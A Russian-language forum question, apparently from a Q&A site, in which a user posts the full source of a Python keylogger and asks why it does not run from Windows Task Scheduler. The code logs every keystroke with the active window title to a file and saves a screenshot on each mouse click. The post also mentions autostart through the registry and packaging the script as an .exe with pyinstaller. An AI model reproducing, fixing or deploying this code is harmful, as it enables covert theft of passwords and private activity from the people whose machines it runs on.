Python Keylogger не работает, если вы запускаете его из Windows планировщика задач - PullRequest
0 голосов
/ 29 мая 2020

Я написал простой кейлоггер на Python, и он отлично работает до тех пор, пока .... Я пытаюсь запланировать его запуск при каждом входе в систему. Программа просто не может подключать мышь и клавиатуру, если я использую по умолчанию Microsoft Windows Планировщик заданий. Мне удалось запустить его при входе в систему с использованием реестра Windows. Но я не нашел решения просто запустить его как задачу.

Вот код:

from pynput import keyboard
from pynput import mouse
import logging
from win32gui import GetWindowText, GetForegroundWindow
from datetime import datetime
from pathlib import Path
import time
window = ""

def writetofile(key):
    global window
    current_window = GetWindowText(GetForegroundWindow())
    with open("c:\\keylogger\\pynput.txt", 'a') as f:
        if current_window != window:
            window = current_window
            f.write("\n===[[[ {0} - {1} ]]]===\n".format(window,datetime.now().strftime("%Y-%m-%d %H:%M:%S"))) 
        if hasattr(key,'char'):
            f.write("{0}".format(key.char))
        else:
            k = str(key)
            k = k.split(".")
            k = k[-1]
            f.write("[{0}]".format(k))

def screenshot():
    from PIL import ImageGrab

    filename = "{0}.jpg".format(int(time.time()))
    save_path = Path("c:\\keylogger") / filename
    ImageGrab.grab().save(save_path, 'JPEG', optimize=True, quality=50)

def onclick(x,y,button,pressed):
    screenshot()

# kb_listenter = keyboard.Listener(on_press=writetofile)
# kb_listenter.start()

with mouse.Listener(on_click=onclick) as m_l:
    with keyboard.Listener(on_press=writetofile) as kb_l:
        kb_l.join()
        m_l.join()

Чтобы сделать его одним .exe, я просто использовал vanilla pyinstaller.

...